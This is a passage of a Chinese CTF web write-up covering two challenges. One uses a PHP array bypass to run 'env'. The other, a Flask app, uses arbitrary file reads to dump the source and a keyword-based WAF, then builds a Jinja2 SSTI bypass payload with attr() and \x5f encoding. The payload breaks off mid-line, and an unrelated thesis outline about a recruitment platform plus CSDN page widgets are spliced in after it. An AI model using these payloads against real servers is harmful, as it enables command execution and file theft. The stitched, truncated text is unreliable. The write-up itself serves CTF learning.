CN-fnst::CTF Web

ezphp

直接数组绕过, 执行命令

GET: usn[]=1&usn1[]=1&sign=env
POST: pwd[]=2&pwd1[]=2

在这里插入图片描述

ez_python

file参数任意文件读取

读取源码: ?file=app.py

    from flask import Flask, request, render_template_string
    from flask_limiter import Limiter
    from flask_limiter.util import get_remote_address
    import waf
    
    app = Flask(__name__)
    
    # Rate limiting: 300 requests per day, 75 per hour
    limiter = Limiter(get_remote_address, app=app, default_limits=["300 per day", "75 per hour"])
    
    @app.route('/')
    @limiter.exempt  # Exempt the index route from rate limiting
    def index():
        file_path = request.args.get('file')
        if file_path and "proc" in file_path:
            return "只过滤了proc,别想用这个了,去读源码", 200  # Message in Chinese: "Only filtered 'proc', don't think about using this, read the source code"
        
        if file_path:
            try:
                with open(file_path, 'r') as file:
                    file_content = file.read()
                return f"{
     file_content}"
            except Exception as e:
                return f"Error reading file: {
     e}"
        return "Find the get parameter to read something"
    
    @app.route('/shell')
    @limiter.limit("10 per minute")  # Rate limit: 10 requests per minute
    def shell():
        if request.args.get('name'):
            person = request.args.get('name')
            if not waf.waf_check(person):
                mistake = "Something is banned"
                return mistake
            template = 'Hi, %s' % person
            return render_template_string(template)
        
        some = 'who you are?'
        return render_template_string(some)
    
    @app.errorhandler(429)  # Custom handler for 429 Too Many Requests
    def ratelimit_error(e):
        return "工具? 毫无意义,去手搓", 429  # Message in Chin
    

审计一下代码, 很明显的ssti模板注入, 

根据前面的 import waf 可知道存在一个waf文件, 读取它 ?file=waf.py

    def waf_check(value):
        dangerous_patterns = [
            'os', 'set', '__builtins__', '=', '.', '{
   {', '}}', 'popen', '+', '__'
        ]
        for pattern in dangerous_patterns:
            if pattern in value:
                return False
        return True

简单绕过一下就行, 有挺多种方法的
用attr绕过点 . \x5f\x5f 编码绕过__

?name={
   %print(%22%22|attr(%22\x5f\x5fclass\x5f\x5f%22)|attr(%22\x5f\x5fbase\x5f\x5f%22)|attr(%22\x5f\x5fsubclasses\x5f\x5f%22)()|attr(%22\x5f\x5fgetitem\x5f\x5f%22)
标题基于Python的高校岗位招聘和分析平台研究AI更换标题第1章引言介绍高校岗位招聘的现状、问题以及Python在分析平台中的应用。1.1研究背景与意义分析高校岗位招聘的重要性及其面临的挑战。1.2国内外研究现状探讨当前国内外在高校岗位招聘分析方面的研究进展。1.3研究方法与论文结构简述本文的研究方法,并概述论文的整体结构。第2章相关理论与技术总结高校岗位招聘分析所涉及的理论框架与关键技术。2.1数据挖掘与信息处理讨论数据挖掘技术在高校岗位招聘中的应用。2.2Python编程语言及其优势阐述Python在数据处理与分析方面的优势和特点。2.3相关算法与模型介绍用于招聘数据分析的主要算法和模型。第3章平台需求分析与设计详细分析高校岗位招聘和分析平台的需求,并设计相应的功能模块。3.1平台需求分析深入探讨平台需要满足的用户需求和业务需求。3.2平台架构设计提出平台的整体架构设计,包括前后端分离、数据库设计等。3.3功能模块设计详细介绍平台的各个功能模块,如数据采集、数据预处理、数据分析与可视化等。第4章平台实现与测试具体阐述平台的实现过程,并进行详尽的测试以确保平台的稳定性和可靠性。4.1平台实现详细描述平台的实现细节,包括关键代码的实现、模块之间的交互等。4.2平台测试对平台进行全面测试,包括功能测试、性能测试、安全测试等。第5章平台应用与效果评估将平台应用于实际的高校岗位招聘中,并对其效果进行评估和分析。5.1平台应用案例列举平台在高校岗位招聘中的具体应用案例。5.2效果评估指标体系构建用于评估平台效果的指标体系,如招聘效率提升、招聘成本降低等。5.3评估结果与分析根据评估指标体系对平台应用效果进行量化分析,并给出结论。第6章结论与展望总结本文的研究成果,并展望未来的研究方向和改进措施。6.1研究结论概括本文关于高校岗位招聘和分析平台的主要研究结论。6.2展望与改进提出对
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值